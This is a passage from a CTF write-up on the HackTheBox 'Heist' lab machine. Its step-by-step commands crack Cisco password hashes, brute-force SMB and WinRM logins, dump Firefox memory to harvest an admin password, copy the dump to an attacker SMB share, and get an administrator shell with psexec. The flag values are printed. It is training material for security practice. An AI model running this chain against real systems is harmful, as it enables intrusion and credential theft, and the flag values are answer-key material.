Home HackTheBox - Heist
Post
Cancel

HackTheBox - Heist

image

10.10.10.149

root@kali:~/htb/heist# gedit /etc/hosts

nmap -sS -sV -A -O -p- 10.10.10.149

nmap -vv 10.10.10.149

image

We find IIS running on port 80, MSRPC on port 135 and SMB on 445. Additionally, port 5985

image

Website

image

Login as Guest

image

Cisco router attachment:

hostname ios-1

! security passwords min-length 12

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91

! username rout3r password 7 0242114B0E143F015F5D1E161713

username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

image

Type 5 password can be cracked:

https://www.ifm.net.nz/cookbooks/cisco-ios-enable-secret-password-cracker.html

$1$pdQG$o8nrSzsGXeaduXrjlvKc91 ‘

image

image

Additional cisco resources:

https://github.com/axcheron/cisco_pwdecrypt

image

This cracks instantly using MSFT Edge browser (Firefox in Kali doesn’t work).

type 7 cisco password

username rout3r password 7 0242114B0E143F015F5D1E161713

https://www.ifm.net.nz/cookbooks/passwordcracker.html \

0242114B0E143F015F5D1E161713

image

image

$uperP@ssword

https://www.ifm.net.nz/cookbooks/passwordcracker.html

02375012182C1A1D751618034F36415408

image

Q4)sJu\Y8qz*A3?d

image

crack type 5 with john

echo ‘$1$pdQG$o8nrSzsGXeaduXrjlvKc91’ > cisco5hash

image

john –fork=4 -w=rockyou.txt cisco5hash

image

stealth1agent

image

Enumerating website provides users: Hazard Support Admin rout3r admin

image image

Put them into user file

root@kali:~/htb/heist# gedit user.txt

Use password from ciscopasswordcrack

stealth1agent $uperP@ssword

root@kali:~/htb/heist# gedit passwords.txt

image

use CrackMapExecv5.0.2dev to bruteforce

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.2dev

image

python3 cme smb 10.10.10.149 -u user.txt -p passwords.txt

image SupportDesk\Hazard:stealth1agent

WinRm login?

python3 cme winrm 10.10.10.149 -u Hazard -p stealth1agent

image

Isn’t in Remote Management Users group

Rid-brute force

python3 cme smb 10.10.10.149 -u Hazard -p stealth1agent –rid-brute

image

Add the additional users Chase Jason image image

python3 cme smb 10.10.10.149 -u user.txt -p passwords.txt

image

I missed one of the cisco type7 passwords, so I added it:

Q4)sJu\Y8qz*A3?d

image

python3 cme smb 10.10.10.149 -u user.txt -p passwords.txt image

Chase Q4)sJu\Y8qz*A3?d

WinRm?

python3 cme winrm 10.10.10.149 -u Chase -p Q4)sJu\Y8qz*A3?d

image

git clone https://github.com/Hackplayers/evil-winrm

image

image gem install evil-winrm

ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p ‘Q4)sJu\Y8qz*A3?d’

image

image

a127daef77ab6d9d92008653295f59c4

Privesc

image

image

image

get-process -name firefox

download procdump

image

image

image

-ma flag to dump the entire memory of process .\procdump.exe -ma

get-process -name firefox

image

PID is Id 3004

.\procdump.exe -ma 3004 firefox.dmp

First time running procdump needs -accepteula flag

Evil-WinRM PS C:\Users\Chase\Desktop> .\procdump.exe -accepteula -ma 3004 firefox.dmp

image

image

SMB server to transfer file

root@kali:~/htb/heist# smbserver.py -smb2support -username jesse -password jesse2 share /root/htb/heist/

need to be in Impacket folder locate smbserver.py

cd /usr/share/doc/python3-impacket/examples/

root@kali:/usr/share/doc/python3-impacket/examples# python3 smbserver.py -smb2support -username jesse -password jesse2 share /root/htb/heist/

image image

image

Screw it, can’t get this to work, so I will use Evil-WinRM:

image

https://docs.microsoft.com/en-us/sysinternals/downloads/strings

upload strings

image

Evil-WinRM* PS C:\Users\Chase\Desktop> ./strings.exe -a firefox.dmpfindstr login_password > what.txt

image

This didn’t work above….

so atfter a long upload from WinRM….

image

image

localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

4dD!5}x/re8]FBuZ

ropnop staticbinary

https://github.com/ropnop/impacket_static_binaries

root@kali:~/htb/heist# curl -s -o smbserver_linux -L https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-dev-binaries/smbserver_linux_x86_64

root@kali:~/htb/heist#chmod +x smbserver_linux

root@kali:~/htb/heist#./smbserver_linux -smb2support -username guest -password guest share2 ~/htb/heist/

image

Evil-WinRM PS C:\Users\Chase\Desktop> net use x: \10.10.14.10\share2 /user:guest guest

image

cmd /c copy firefox.dmp X:\

PSEXEC

psexec.py ‘administrator:4dD!5}x/re8]FBuZ@10.10.10.149’

image

image

50dfa3c6bfd20e2e0d071b073d766897

This post is licensed under CC BY 4.0 by the author.